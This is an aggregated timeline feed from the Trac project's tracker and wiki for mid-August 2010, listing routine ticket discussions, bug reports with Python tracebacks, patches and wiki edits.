17:54 InsideTrac: Trac - Ticket #9570 (Merge RepoRevisionSyntaxPlugin into core?) updated by shesek: Seems to work fine here. I do think that period should not be matched too, and the <tt>[123/path]</tt> syntax should be used instead on those cases to support "fixed in <tt>r123/path</tt>." cases. BTW, I never used (nor knew it was possible to use) an entire path and not just the repository name there. Good to know.
16:38 InsideTrac: Trac - Ticket #9467 (Can't kill tracd with CTRL-C (or SIGTERM)) updated by anonymous: I confirm - Ctrl+C can't kill Trac 0.12 after default installation of openSUSE+Yakuake console.
16:30 InsideTrac: Trac - Ticket #9579 (sudo-like behavior for users) updated by rblank: Milestone changed Oh, right, kind of an important detail :)
11:28 InsideTrac: Trac - Ticket #9439 (KeyError: 'trac/locale') updated by fschwarz: Cc changed
08:58 InsideTrac: Trac - Ticket #9579 (sudo-like behavior for users) reopened by anonymous: sorry missed one crucial detail - this feature is for the web interface, not command line
03:32 InsideTrac: Trac - Ticket #9579 (sudo-like behavior for users) closed by rblank: wontfix: Tools exist that were developed specifically to solve this issue (sudo on Unix, runas on Windows), so this is not something we will add to Trac.

08/20/10:

19:19 InsideTrac: Trac - Ticket #9580 (Insert a link to the facebook fan page on the start page) created by gregi@…: hallo, there is a facebook fan page for the trac project (currently, with a small, but increasing fan base): <a class="ext-link" href="http://www.facebook.com/trac.project"> http://www.facebook.com/trac.project</a> it would be great to see a link on the trac start page to promote the social fan page. keep on doing great software, thanks!
17:39 InsideTrac: Trac - Ticket #7640 ("Update New Ticket" UI should fit on one screen) updated by sue.sml2006@…: I was not the original reporter, but I can say that being able to set the "order" property of built in fields would be very useful, which was a feature request in the original enhancement request and why I happened upon this record.
17:14 InsideTrac: Trac - Ticket #9579 (sudo-like behavior for users) created by brad.alldredge@…: provide admins a way to specify and allow normal users to escalate privileges to perform some set of tasks normally not allowed to them without having to change users. our use case calls for users to be able to perform a majority of tasks, and we would like to prevent them from accidentally blowing everything away. currently they have to switch accounts to do this, and its somewhat awkward. this behavior would imitate the behavior of sudo to some degree. management through groups (similar to wheel) would be great.
14:11 InsideTrac: Trac - Ticket #8548 (TICKET_EDIT_DESCRIPTION requires TICKET_MODIFY rights) reopened by Carsten Klein <carsten.klein@…>: Replying to <a href="http://trac.edgewall.org/ticket/8548#comment:8" title="Comment 8 for Ticket #8548">cboos</a>: <blockquote class="citation"> Done in <a class="changeset" href="http://trac.edgewall.org/changeset/8455" title="0.11.6dev: make TICKET_EDIT_PERMISSION independent from TICKET_MODIFY. ...">r8455</a>. </blockquote> In 0.13dev, when allowing the anonymous user group to TICKET_APPEND, they get the fieldset "action" under ticket modify, although it presents them with only one option -> leave as new. So, in line <pre class="wiki">380 <fieldset py:when="can_append or can_modify" id="action"> </pre> of the presented patch, it should rather read <pre class="wiki">380 <fieldset py:when="can_modify" id="action"> </pre> in order to remove the 'action' fieldset completely from the rendered view. Rationale here: I do not expect someone with only the ability to add new comments to a ticket or add new attachments to also be able to view/modify the existing workflow state under "Modify Ticket". Removing milestone and changing version to 0.13dev.
13:58 InsideTrac: Trac - Ticket #9576 (Icons for various Trac link types) closed by rblank: wontfix: Ok. Let us know if you find any links that don't have a specific class, and we will add them.
13:53 InsideTrac: Trac - Ticket #9576 (Icons for various Trac link types) updated by kamil@…: Ah, I didn't know about the class for different types of links, that makes this super easy to implement. In that case you can close this idea and I'll just add it to our CSS customization.
13:30 InsideTrac: Trac - Ticket #9576 (Icons for various Trac link types) updated by rblank: I'm not too keen on adding this by default, as I have the feeling that it would clutter the text too much. The good news is, you probably don't even need a plugin to implement that: a CSS file should suffice. Most of the <a class="wiki" href="http://trac.edgewall.org/wiki/TracLinks">TracLinks</a> have a <tt>class</tt> that describes the type of link, so if you want to add an icon to ticket links, you could put something like the following in your site CSS (untested): <div class="code"><pre>a.ticket { background: url("site/ticket.png") no-repeat scroll left center; padding-left: 16px; } </pre></div> (I wonder why we use a nested <tt></tt> for <a class="ext-link" href="http://google.com"> external links</a>?)
12:25 InsideTrac: Trac - Ticket #9576 (Icons for various Trac link types) updated by kamil@…: I guess I don't have an extremely strong justification. However, I find that users in our organization tend to put links inline in a natural-language sentence and link icons could provide additional context as to what is being linked to, similar to how external links work. We did something similar with a custom plugin that provided quick links to host pages in Zenoss and the additional visual indication that you're going somewhere else which is not the wiki was nice. It's definitely one of those things that would be a nice-to-have. Maybe if you don't feel it should be in Trac proper I'll try to add it with a plugin.
11:54 InsideTrac: Trac - SeaChange/WhatUsersWant edited by erik.scrafford@…: +1 batch modify (<a href="http://trac.edgewall.org/wiki/SeaChange/WhatUsersWant?action=diff&version=139">diff</a>)
10:40 InsideTrac: Trac - Ticket #5474 (Translation of Trac to French/Français [fr_FR]) updated by jean@…: Bonjour, Dans la vue rapport (report) les premières colonnes sont traduites mais pas les dernières (status, treated by, created, modified et creator) je suis prêt à les traduire mais je ne trouve pas les msgid correspondant, pouvez vous me dire où je puis les trouver Merci d'avance Jean Dumont
07:24 InsideTrac: Trac - Ticket #9575 (Invalid ticket references must be rendered safely (to allow viewing the ...) updated by dnedelchev <dbn@…>: Just to mention. It's already fixed there: <a class="ext-link" href="http://trac-hacks.org/intertrac/%237082" title="#7082 in Trac-Hacks Community Site"> th:#7082</a>, <a class="ext-link" href="http://trac-hacks.org/intertrac/%235308" title="#5308 in Trac-Hacks Community Site"> th:#5308</a> I've upgraded my plugin installation and it's OK already.
06:51 InsideTrac: Trac - Ticket #9575 (Invalid ticket references must be rendered safely (to allow viewing the ...) closed by dnedelchev <dbn@…>: invalid: Ooops! That's not a Trac issue[[BR]] I've just located it's caused by <a class="missing wiki" href="http://trac.edgewall.org/wiki/SensitiveTicketsPlugin" rel="nofollow">SensitiveTicketsPlugin?</a>[[BR]] I'm closing this issue as invalid since it's not related to Trac itself.
06:44 InsideTrac: Trac - sys_info.png attached to Ticket #9575 by dnedelchev <dbn@…>: installation details
06:35 InsideTrac: Trac - Ticket #9575 (Invalid ticket references must be rendered safely (to allow viewing the ...) updated by dnedelchev <dbn@…>: I've attached a log excerpt. There are no errors, just an HTTP:404 trac warning... (I do these test on my Windows experimental environment) This was the content of my test-page: <pre class="wiki">in this trac environment #127 exist #128 not yet </pre> I've added an intertrac section in my trac.ini: <pre class="wiki">[intertrac] # -- Example of setting up an alias: t = trac pr = proba tst = test # -- Link to an external Trac: trac.title = Edgewall's Trac for Trac trac.url = http://trac.edgewall.org proba.title = This Local Trac Test Environment proba.url = http://localhost:81/proba test.title = Another Local Trac Test Environment test.url = http://localhost:81/test </pre> When I wrote <tt>proba:#128</tt> in a wiki page, all went normal. No errors, no warnings. But when I wrote <tt>#128</tt>, the error occurred again and again with no exception. Off course I could still diff the page revision and retrieve my data if I need it, then delete the revision and proceed again with edit. But that's not an option for the pages outside the wiki (in admin web panel etc.) If you need more information or tests, I'll try to provide them. P.S. Personally I can live with this problem and I just wanted to help you improve Trac.
06:11 InsideTrac: Trac - invalid_ticket_log_http404.txt attached to Ticket #9575 by dnedelchev <dbn@…>
03:39 InsideTrac: Trac - Ticket #9575 (Invalid ticket references must be rendered safely (to allow viewing the ...) updated by dnedelchev <dbn@…>: Thank you for the response, I'll check it today. I thought it was a real bug since I could reproduce it with 100% chance both at our Windows and linux trac installations. There are no intertrac prefixes defined in my trac environments yet (but I plan doing it in the near future). All happens in a single trac environment and concerns local environment resources... or maybe I didn't understand the question?
03:07 InsideTrac: Trac - TracInstall edited by anonymous: actual -> current (<a href="http://trac.edgewall.org/wiki/TracInstall?action=diff&version=314">diff</a>)
01:58 InsideTrac: Trac - SandBox edited by anonymous: (<a href="http://trac.edgewall.org/wiki/SandBox?action=diff&version=953">diff</a>)
01:04 InsideTrac: Trac - Ticket #9577 ([PATCH] bugzilla2trac.py converting times to seconds instead of ...) updated by rblank: Owner, Milestone changed Thanks!
00:43 InsideTrac: Trac - Ticket #9457 (Unsubmitted comments lost after attaching files) updated by Alexander Sokolov <iskander.sokol@…>: Yes, it's tedious to remember that you don't submit changes before press Attach file
00:18 InsideTrac: Trac - 2010-08-19_150950.jpg attached to Ticket #9463 by Alexander Sokolov <iskander.sokol@…>: unicode ZWSP in repository directory name
00:16 InsideTrac: Trac - Ticket #9463 (Unable to edit components with slash or backslash) updated by Alexander Sokolov <iskander.sokol@…>: Cc changed I faced this problem on Windows XP when I used backslash in repository name. Apache returns 404 error for links in repository browser if name of repository contains backslash. Apache access.log <pre class="wiki">127.0.0.1 - - [19/Aug/2010:14:52:02 +0400] "GET /trac/sendbox/browser/e%3A%5CScratch%5Ctrac%5Cdata%5Csvn%5Csendbox HTTP/1.1" 404 251 </pre> Apache error.log <pre class="wiki">[Thu Aug 19 14:51:25 2010] [notice] Apache/2.2.13 (Win32) DAV/2 SVN/1.6.6 mod_wsgi/3.3 Python/2.6.4 configured -- resuming normal operations ... [Thu Aug 19 14:52:02 2010] [info] [client 127.0.0.1] found %2f (encoded '/') in URI (decoded='/trac/sendbox/browser/e:\\Scratch\\trac\\data\\svn\\sendbox'), returning 404, referer: http://localhost/trac/sendbox/browser </pre> tracd processes such link normally. Besides unicode zero width spaces inserted in directory after slashes are rendered as squares (see attachment) in Opera 10.10.

08/19/10:

21:22 InsideTrac: Trac - Ticket #9578 (MemberShip) created by jack <yong.wang@…>
20:02 InsideTrac: Trac - Ticket #9577 ([PATCH] bugzilla2trac.py converting times to seconds instead of ...) updated by jmcdowell@…: Summary changed Added patch for making the timestamp units configurable
19:59 InsideTrac: Trac - timestamps_in_usecs.diff attached to Ticket #9577 by jmcdowell@…: patch to bugzilla2trac.py to support timestamps in microseconds
18:17 InsideTrac: Trac - Ticket #9577 (bugzilla2trac.py converting times to seconds instead of microseconds) updated by rblank: The bugzilla2trac is not actively supported by any of the current Trac developers. Would you mind taking a shot at implementing the timestamp conversion? If you could provide a patch and test it, I would integrate it.
18:17 InsideTrac: Trac - Ticket #9577 ([PATCH] bugzilla2trac.py converting times to seconds instead of ...) updated by rblank: The bugzilla2trac is not actively supported by any of the current Trac developers. Would you mind taking a shot at implementing the timestamp conversion? If you could provide a patch and test it, I would integrate it.
18:14 InsideTrac: Trac - Ticket #9576 (Icons for various Trac link types) updated by rblank: Replying to <a class="closed ticket" href="http://trac.edgewall.org/ticket/9576" title="enhancement: Icons for various Trac link types (closed: wontfix)">kamil@…</a>: <blockquote class="citation"> but an indicator that you are about to be taken to the source browser by clicking a link would be a usability improvement. </blockquote> Could you please elaborate? Personally, I don't mind if the link points to the source browser or the ticket view or even a wiki page, as long as the destination contains the information I'm looking for...
18:14 InsideTrac: Trac - Ticket #9576 (Icons for various Trac link types) updated by rblank: Replying to <a class="new ticket" href="http://trac.edgewall.org/ticket/9576" title="enhancement: Icons for various Trac link types (new)">kamil@…</a>: <blockquote class="citation"> but an indicator that you are about to be taken to the source browser by clicking a link would be a usability improvement. </blockquote> Could you please elaborate? Personally, I don't mind if the link points to the source browser or the ticket view or even a wiki page, as long as the destination contains the information I'm looking for...
18:12 InsideTrac: Trac - Ticket #9575 (Invalid ticket references must be rendered safely (to allow viewing the ...) updated by rblank: Replying to <a class="closed ticket" href="http://trac.edgewall.org/ticket/9575" title="defect: Invalid ticket references must be rendered safely (to allow viewing the ... (closed: invalid)">anonymous</a>: <blockquote class="citation"> It's not a rare situation especially in a newly created trac environment and I wonder why there is no ticket for this bug and also why it's not fixed yet (I guess it was probably present for many years!). </blockquote> Maybe one reason is that we can't reproduce the issue? I have just created a new environment, went to the InterTrac page, and the page displays correctly. Did you by any chance define a <tt>trac:</tt> intertrac prefix that points to your own trac? Could you please check your <tt>trac.log</tt> and see if you can find the traceback corresponding to the issue (for example, for InterTrac)?
18:12 InsideTrac: Trac - Ticket #9575 (Invalid ticket references must be rendered safely (to allow viewing the ...) updated by rblank: Replying to <a class="new ticket" href="http://trac.edgewall.org/ticket/9575" title="defect: Invalid ticket references must be rendered safely (to allow viewing the ... (new)">anonymous</a>: <blockquote class="citation"> It's not a rare situation especially in a newly created trac environment and I wonder why there is no ticket for this bug and also why it's not fixed yet (I guess it was probably present for many years!). </blockquote> Maybe one reason is that we can't reproduce the issue? I have just created a new environment, went to the InterTrac page, and the page displays correctly. Did you by any chance define a <tt>trac:</tt> intertrac prefix that points to your own trac? Could you please check your <tt>trac.log</tt> and see if you can find the traceback corresponding to the issue (for example, for InterTrac)?
17:52 InsideTrac: Trac - Ticket #9577 (bugzilla2trac.py converting times to seconds instead of microseconds) created by jmcdowell@…: When running the bugzilla2trac.py migration script, timestamps from the Bugzilla database are being converted to seconds instead of microseconds, this causes all of the timestamps in the new Trac install to be very close to Epoch. System Info: <blockquote> Trac 0.12 using SQLLite backend Python 2.5 Bugzilla 3.6.1 using MySQL 5.1.42 backend O/S - OpenBSD 4.7 </blockquote>
17:52 InsideTrac: Trac - Ticket #9577 ([PATCH] bugzilla2trac.py converting times to seconds instead of ...) created by jmcdowell@…: When running the bugzilla2trac.py migration script, timestamps from the Bugzilla database are being converted to seconds instead of microseconds, this causes all of the timestamps in the new Trac install to be very close to Epoch. System Info: <blockquote> Trac 0.12 using SQLLite backend Python 2.5 Bugzilla 3.6.1 using MySQL 5.1.42 backend O/S - OpenBSD 4.7 </blockquote>
16:37 InsideTrac: Trac - md.log attached to TracGuide by anonymous
15:28 InsideTrac: Trac - TracDev/DevelopmentEnvironmentSetup edited by ryano@…: Added note about needing the python-subversion lib. (<a href="http://trac.edgewall.org/wiki/TracDev/DevelopmentEnvironmentSetup?action=diff&version=28">diff</a>)
12:15 InsideTrac: Trac - Ticket #9576 (Icons for various Trac link types) created by kamil@…: There's already an icon for links which point to an external URL. It would be great if icons could also be shown for other types of Trac links, for example to the source browser. I think the wiki links could remain plain text, but an indicator that you are about to be taken to the source browser by clicking a link would be a usability improvement.
10:29 InsideTrac: Trac - invalid_ticket_nr.png attached to Ticket #9575 by anonymous: screenshot
10:28 InsideTrac: Trac - Ticket #9575 (Invalid ticket references must be rendered safely (to allow viewing the ...) created by anonymous: Also an invalid ticket reference in a wiki page now prevents further editing of that page (while adding or removing a single character is enough to restore access to the page factually without data loss). Examples: Try to open the <a class="wiki" href="http://trac.edgewall.org/wiki/InterTrac">wiki:InterTrac</a> page in a newly created trac environment (<a class="closed ticket" href="http://trac.edgewall.org/ticket/234" title="enhancement: Inter-project links (closed: fixed)">#234</a>, see the attached screenshot). Or tracini/ticket page in the Admin web panel (<a class="closed ticket" href="http://trac.edgewall.org/ticket/4" title="defect: The reporter field is empty on new tickets (closed: fixed)">#4</a>). The second one is easy to eliminate for the user itself - just creating 4 (even dummy) tickets. But creating 234 or 1234, or arbitrary number of dummy tickets just for viewing a text in a wiki page or in a misspelled ticket-comment is unthinkable. It's not a rare situation especially in a newly created trac environment and I wonder why there is no ticket for this bug and also why it's not fixed yet (I guess it was probably present for many years!). The only related ticket I found was <a class="closed ticket" href="http://trac.edgewall.org/ticket/2641" title="defect: ticket remove breaks query view (closed: fixed)">#2641</a> but I think it was solved as a particular case and at a higher level. This ticket is more general and fixing it could mitigate a range of current and future issues. <hr /> The solution I propose is invalid tickets to be rendered as text, possibly accompanied with an empty link or with a link to a proper info/resource instead of returning an error which prevents the whole page content from being shown to the user. Another possibility is a small dedicated warning message box to be safely embedded in the page body at the place where the invalid ticket reference <a class="closed ticket" href="http://trac.edgewall.org/ticket/9575#NNN!" title="defect: Invalid ticket references must be rendered safely (to allow viewing the ... (closed: invalid)">#NNN!</a> is detected. A warning message could be also shown at the top of the page (in the manner of messages shown after ticket/wiki/configuration/etc. update).
10:28 InsideTrac: Trac - Ticket #9575 (Invalid ticket references must be rendered safely (to allow viewing the ...) created by anonymous: Also an invalid ticket reference in a wiki page now prevents further editing of that page (while adding or removing a single character is enough to restore access to the page factually without data loss). Examples: Try to open the <a class="wiki" href="http://trac.edgewall.org/wiki/InterTrac">wiki:InterTrac</a> page in a newly created trac environment (<a class="closed ticket" href="http://trac.edgewall.org/ticket/234" title="enhancement: Inter-project links (closed: fixed)">#234</a>, see the attached screenshot). Or tracini/ticket page in the Admin web panel (<a class="closed ticket" href="http://trac.edgewall.org/ticket/4" title="defect: The reporter field is empty on new tickets (closed: fixed)">#4</a>). The second one is easy to eliminate for the user itself - just creating 4 (even dummy) tickets. But creating 234 or 1234, or arbitrary number of dummy tickets just for viewing a text in a wiki page or in a misspelled ticket-comment is unthinkable. It's not a rare situation especially in a newly created trac environment and I wonder why there is no ticket for this bug and also why it's not fixed yet (I guess it was probably present for many years!). The only related ticket I found was <a class="closed ticket" href="http://trac.edgewall.org/ticket/2641" title="defect: ticket remove breaks query view (closed: fixed)">#2641</a> but I think it was solved as a particular case and at a higher level. This ticket is more general and fixing it could mitigate a range of current and future issues. <hr /> The solution I propose is invalid tickets to be rendered as text, possibly accompanied with an empty link or with a link to a proper info/resource instead of returning an error which prevents the whole page content from being shown to the user. Another possibility is a small dedicated warning message box to be safely embedded in the page body at the place where the invalid ticket reference <a class="new ticket" href="http://trac.edgewall.org/ticket/9575#NNN!" title="defect: Invalid ticket references must be rendered safely (to allow viewing the ... (new)">#NNN!</a> is detected. A warning message could be also shown at the top of the page (in the manner of messages shown after ticket/wiki/configuration/etc. update).
10:14 InsideTrac: Trac - Ticket #8417 (CachedRepository support in TracMercurial) updated by miguel.araujo.perez@…: I have developed a plugin called <a class="missing wiki" href="http://trac.edgewall.org/wiki/TracMercurialChangesetPlugin" rel="nofollow">TracMercurialChangesetPlugin?</a> for fixing this issue. It allows you to sync revision table if you are using Mercurial. Then you can create a hook to keep it synced :) I hope it helps. I have mailed cboos about it, see If he can integrate into Trac-Mercurial. <a class="ext-link" href="http://github.com/maraujop/TracMercurialChangesetPlugin"> http://github.com/maraujop/TracMercurialChangesetPlugin</a>
07:19 InsideTrac: Trac - Ticket #9564 ("Internal Server Error: decoding Unicode is not supported" with ...) updated by dstoecker: What task do you do when entering captcha? Trac ticket, webpage, ... The error is actually caused by trac/wiki/intertrac.py in the trac task to continue the previous job. Either the call for this job is wrong (it only simulates Trac behaviour) or there is a bug elsewhere in that code which is triggered by captcha code.
01:05 InsideTrac: Trac - Ticket #9572 (Attribute error reported) updated by rblank: Component, Milestone changed Thanks, that should help.
01:03 InsideTrac: Trac - Ticket #9566 (Improper handling of scoped repositories in svn AuthzSourcePolicy) updated by itamaro: Replying to <a href="http://trac.edgewall.org/ticket/9566#comment:6" title="Comment 6 for Ticket #9566">rblank</a>: <blockquote class="citation"> Right, I forgot to handle coarse permissions. Please try <a class="attachment" href="http://trac.edgewall.org/attachment/ticket/9566/9566-scoped-repos-2-r10006.patch" title="Attachment '9566-scoped-repos-2-r10006.patch' in Ticket #9566">9566-scoped-repos-2-r10006.patch</a><a class="trac-rawlink" href="http://trac.edgewall.org/raw-attachment/ticket/9566/9566-scoped-repos-2-r10006.patch" title="Download"></a>. </blockquote> That seems to do the trick. This works for me now. Thanks!

08/18/10:

23:14 InsideTrac: Trac - Ticket #9572 (Attribute error reported) updated by tjb@…: Here is the contents of trac.log for the error - sorry for the delay. <pre class="wiki">2010-08-17 14:38:43,388 Trac[main] ERROR: Internal Server Error: Traceback (most recent call last): File "build/bdist.linux-i686/egg/trac/web/main.py", line 513, in _dispatch_request dispatcher.dispatch(req) File "build/bdist.linux-i686/egg/trac/web/main.py", line 235, in dispatch resp = chosen_handler.process_request(req) File "build/bdist.linux-i686/egg/trac/wiki/web_ui.py", line 117, in process_request page = WikiPage(self.env, pagename) File "build/bdist.linux-i686/egg/trac/wiki/model.py", line 44, in __init__ self._fetch(name, version, db) File "build/bdist.linux-i686/egg/trac/wiki/model.py", line 55, in _fetch db = self.env.get_db_cnx() File "build/bdist.linux-i686/egg/trac/env.py", line 326, in get_db_cnx return get_read_db(self) File "build/bdist.linux-i686/egg/trac/db/api.py", line 90, in get_read_db return _transaction_local.db or DatabaseManager(env).get_connection() File "build/bdist.linux-i686/egg/trac/db/api.py", line 152, in get_connection return self._cnx_pool.get_cnx(self.timeout or None) File "build/bdist.linux-i686/egg/trac/db/pool.py", line 220, in get_cnx return _backend.get_cnx(self._connector, self._kwargs, timeout) File "build/bdist.linux-i686/egg/trac/db/pool.py", line 114, in get_cnx cnx.close() AttributeError: 'NoneType' object has no attribute 'close' </pre>
21:10 InsideTrac: Trac - Ticket #8417 (CachedRepository support in TracMercurial) updated by richard.liao.i@…: Cc changed
19:30 InsideTrac: Trac - Ticket #9566 (Improper handling of scoped repositories in svn AuthzSourcePolicy) updated by rblank: Right, I forgot to handle coarse permissions. Please try <a class="attachment" href="http://trac.edgewall.org/attachment/ticket/9566/9566-scoped-repos-2-r10006.patch" title="Attachment '9566-scoped-repos-2-r10006.patch' in Ticket #9566">9566-scoped-repos-2-r10006.patch</a><a class="trac-rawlink" href="http://trac.edgewall.org/raw-attachment/ticket/9566/9566-scoped-repos-2-r10006.patch" title="Download"></a>.
19:29 InsideTrac: Trac - 9566-scoped-repos-2-r10006.patch attached to Ticket #9566 by rblank: Handle coarse permissions
17:18 InsideTrac: Trac - 1_009.JPG attached to WikiFormatting by anonymous
17:18 InsideTrac: Trac - 1_016.JPG attached to WikiFormatting by anonymous
17:18 InsideTrac: Trac - 8.JPG attached to WikiFormatting by anonymous
15:57 InsideTrac: Trac - Ticket #9574 (add filters to TicketQuery from query string arguments) updated by shesek: Sorry, in the 4th paragraph I meant <tt>[query:]</tt> and not <tt>[source:]</tt>: <blockquote class="citation"> ... inside the <a class="wiki" href="http://trac.edgewall.org/wiki/TicketQuery">TicketQuery</a> macro and <tt>[query:]</tt> link ... </blockquote>
15:54 InsideTrac: Trac - Ticket #9574 (add filters to TicketQuery from query string arguments) created by shesek: I'm using wiki pages and the <a class="wiki" href="http://trac.edgewall.org/wiki/TicketQuery">TicketQuery</a> macro to create ticket summary/overview pages, as I find them much more flexible than reports as I can have multiple 'views' on the same page (for example, have 'Assigned to you', 'Awaiting assignment', 'In progress', etc - each shows top 10, has different filters and ordered by different columns, all in the same page. Creating a page like that isn't possible with reports). So - what I'm trying to do is create a per-project ('project' being a custom field I added) and per-components ticket overview using the Wiki. Instead of copying the wiki page for every project/component I have, I want to use something like <tt>wiki/TicketSummary?project=foobar</tt> and than read the query-string argument (<tt>project</tt>) to be used inside the <a class="wiki" href="http://trac.edgewall.org/wiki/TicketQuery">TicketQuery</a> macro and <tt>[query:]</tt>. I was trying to do it using IWikiSyntaxProvider and get_wiki_syntax (<a class="ext-link" href="http://pastie.org/private/evw1r9jkhcmq3m6jjgrojw"> http://pastie.org/private/evw1r9jkhcmq3m6jjgrojw</a>), by replacing ${foobar} with req.args<a class="missing wiki" href="http://trac.edgewall.org/wiki/foobar" rel="nofollow">foobar?</a>, which works - but not inside other macros. I think the best way is adding this functionality to core, by parsing custom arguments inside the <a class="wiki" href="http://trac.edgewall.org/wiki/TicketQuery">TicketQuery</a> macro and <tt>[source:]</tt> link, in a similar way to how $USER is replaced with the currently logged in user - but replacing them with query-string arguments instead. This will give users better control and flexibility in creating their own custom ticket overviews, which can replace the reports in some cases if those pages could be dynamic and show different content based on arguments.
15:52 InsideTrac: Trac - Ticket #9566 (Improper handling of scoped repositories in svn AuthzSourcePolicy) updated by itamaro: OK, it wasn't a svn-git issue with applying the patch, it was a branch-issue. I have trunk, and it appears that the patch is against branches/0.12-stable ... Anyway, I tried taking svn_authz.py from the branch (only that module, without touching any other one) and then applying the patch, which caused an exception on every request, similar to: <div class="code"><pre>Traceback (most recent call last): ... File "c:\var\trac\trac-trunk\trac\versioncontrol\svn_authz.py", line 148, in check_permission if (resource.realm, action) in self._handled_perms: AttributeError: 'NoneType' object has no attribute 'realm' </pre></div>
09:08 InsideTrac: Trac - Ticket #9573 (docs on fine-grained permissions don't warn that groups cannot be used in ...) created by abeld@…: The documentation at <a href="http://trac.edgewall.org/wiki/TracFineGrainedPermissions">http://trac.edgewall.org/wiki/TracFineGrainedPermissions</a> does not mention the fact that group names used by trac are not automatically useable in the authz file. As described on <a href="http://trac.edgewall.org/wiki/TracPermissions">http://trac.edgewall.org/wiki/TracPermissions</a> groups in trac's permission system can be created by simply assinging somebody to the group. So, if I "give" 'joeuser' the permission 'trusted-user' permission, I have automatically created the 'trusted-user' group. However, if I use 'trusted-user' in the authz file, it will be ignored, I have to use 'joeuser', or list all groups again in a '[groups]' section in the authz file. This should at least be mentioned in the docs describing the fine-grained permissions, or, even better, the implementation should be fixed to also use the groups defined in trac in the old-style way.
08:03 InsideTrac: Trac - TracFineGrainedPermissions edited by anonymous: added new enable flag: tracopt.perm.authz_policy.* = enabled (<a href="http://trac.edgewall.org/wiki/TracFineGrainedPermissions?action=diff&version=22">diff</a>)
04:01 InsideTrac: Trac - TracOnOsxNoFink edited by reandug@…: (<a href="http://trac.edgewall.org/wiki/TracOnOsxNoFink?action=diff&version=44">diff</a>)
02:39 InsideTrac: Trac - Ticket #9571 (Could not create new "InitEnv") updated by anonymous: Replying to <a href="http://trac.edgewall.org/ticket/9571#comment:4" title="Comment 4 for Ticket #9571">rblank</a>: <blockquote class="citation"> That shouldn't prevent you from working on <a class="new ticket" href="http://trac.edgewall.org/ticket/1890" title="defect: Can create tickets anonymously using the username of an authenticated user (new)">#1890</a>, right? :-) </blockquote> No, <a class="new ticket" href="http://trac.edgewall.org/ticket/1890" title="defect: Can create tickets anonymously using the username of an authenticated user (new)">#1890</a> is an another situation. This is a different errors. I think I have error because I have wrong Python connect for Database. I have pysqlite-2.5.6.win32-py2.5.exe, but this installation I think not finished correctly, because I did not see "Finish" button. Package from SQLite with command "python seput.py install" i could not seput because it built with Visual Studio 2003.

08/17/10:

17:48 InsideTrac: Trac - Ticket #1132 (Use Subversion (or the source repository) for Trac's data as well) updated by Daniel Krech <eikeon@…>: Cc changed
16:51 Ticket #14 (Flagyl Ohne Rezept Kaufen) created by wirkstoff: Generisches Flagyl …
14:30 InsideTrac: Trac - Ticket #791 (login/logout, authentication, and authorization) updated by RektideDeLaFey: this issue is really easy to workaround in most sane UA's: <ol class="lowerroman"><li>"logout" </li><li>manually navigate to <a class="ext-link" href="http://FooBarIsMyName@trac.yoyodyne.net"> http://FooBarIsMyName@trac.yoyodyne.net</a> </li><li>??? </li><li>profit </li></ol>
13:44 InsideTrac: Trac - Ticket #9571 (Could not create new "InitEnv") updated by rblank: That shouldn't prevent you from working on <a class="new ticket" href="http://trac.edgewall.org/ticket/1890" title="defect: Can create tickets anonymously using the username of an authenticated user (new)">#1890</a>, right? :-)
13:41 InsideTrac: Trac - Ticket #9572 (Attribute error reported) updated by rblank: Unfortunately, this is an error during the reporting of an error, so it's difficult to find the cause from this secondary traceback. Could you please look into your <tt>trac.log</tt> and see if you can find the primary traceback, that is, the traceback right before this one?
11:36 InsideTrac: Trac - TestPage created by anonymous
07:30 InsideTrac: Trac - TracTermsRu edited by Alexander Sokolov: <blockquote> Terms have been extracted form present translation </blockquote> (<a href="http://trac.edgewall.org/wiki/TracTermsRu?action=diff&version=44">diff</a>)
07:15 InsideTrac: Trac - Ticket #9571 (Could not create new "InitEnv") updated by cboos: Replying to <a href="http://trac.edgewall.org/ticket/9571#comment:2" title="Comment 2 for Ticket #9571">cboos (the original one ;-) )</a>: <blockquote class="citation"> Funny, the two modifications of yesterday were not mine... I suppose someone is wanting me to get some progress on <a class="new ticket" href="http://trac.edgewall.org/ticket/1890" title="defect: Can create tickets anonymously using the username of an authenticated user (new)">#1890</a> ;-) </blockquote> Read my mail in the interval... problem understood :-)
06:44 InsideTrac: Trac - Ticket #9571 (Could not create new "InitEnv") updated by cboos (the original one ;-) ): Funny, the two modifications of yesterday were not mine... I suppose someone is wanting me to get some progress on <a class="new ticket" href="http://trac.edgewall.org/ticket/1890" title="defect: Can create tickets anonymously using the username of an authenticated user (new)">#1890</a> ;-)
06:14 InsideTrac: Trac - Ticket #9444 (Installation 0.12: ValueError: expected only letters, got 'utf-8') updated by anonymous: The problem was that Babel could not determine the language - it looks for the following environment variables 'LANGUAGE', 'LC_ALL', 'LC_CTYPE' for a locale, eg "en_US". If it does not find such a locale (as it won't on Mac OS X), it somehow picks up UTF-8 and borks. The solution is therefore to set the environment variable to your locale, eg: export LANGUAGE=en_US
05:03 InsideTrac: Trac - Ticket #9572 (Attribute error reported) updated by tjb@…: Correction, the prior working revision was <a class="changeset" href="http://trac.edgewall.org/changeset/10001" title="0.12.1dev: Fixed the cursor displayed on the right of foldable heading. ...">r10001</a>
04:37 InsideTrac: Trac - Ticket #9572 (Attribute error reported) created by tjb@…: I have just updated our trac to <a class="changeset" href="http://trac.edgewall.org/changeset/10006" title="0.12.1dev: Improvements to the `AuthzSourcePolicy`: * Allow access to ...">r10006</a> , sourced from the 0.12-stable branch, and found the following error. <pre class="wiki">Traceback (most recent call last): File "build/bdist.linux-i686/egg/trac/web/api.py", line 436, in send_error data, 'text/html') File "build/bdist.linux-i686/egg/trac/web/chrome.py", line 803, in render_template message = req.session.pop('chrome.%s.%d' % (type_, i)) File "build/bdist.linux-i686/egg/trac/web/api.py", line 212, in __getattr__ value = self.callbacks[name](self) File "build/bdist.linux-i686/egg/trac/web/main.py", line 298, in _get_session return Session(self.env, req) File "build/bdist.linux-i686/egg/trac/web/session.py", line 167, in __init__ self.get_session(req.authname, authenticated=True) File "build/bdist.linux-i686/egg/trac/web/session.py", line 183, in get_session super(Session, self).get_session(sid, authenticated) File "build/bdist.linux-i686/egg/trac/web/session.py", line 57, in get_session cursor = db.cursor() File "build/bdist.linux-i686/egg/trac/db/util.py", line 102, in __getattr__ return getattr(self.cnx, name) AttributeError: 'tuple' object has no attribute 'cursor' </pre> The same error had occurred at <a class="changeset" href="http://trac.edgewall.org/changeset/10004" title="fcgi: make it possible to use the installed version of flup instead of ...">r10004</a>, but not previously - I think the previous working version was <a class="changeset" href="http://trac.edgewall.org/changeset/9999" title="0.12-stable: Merged [9963-9998] from 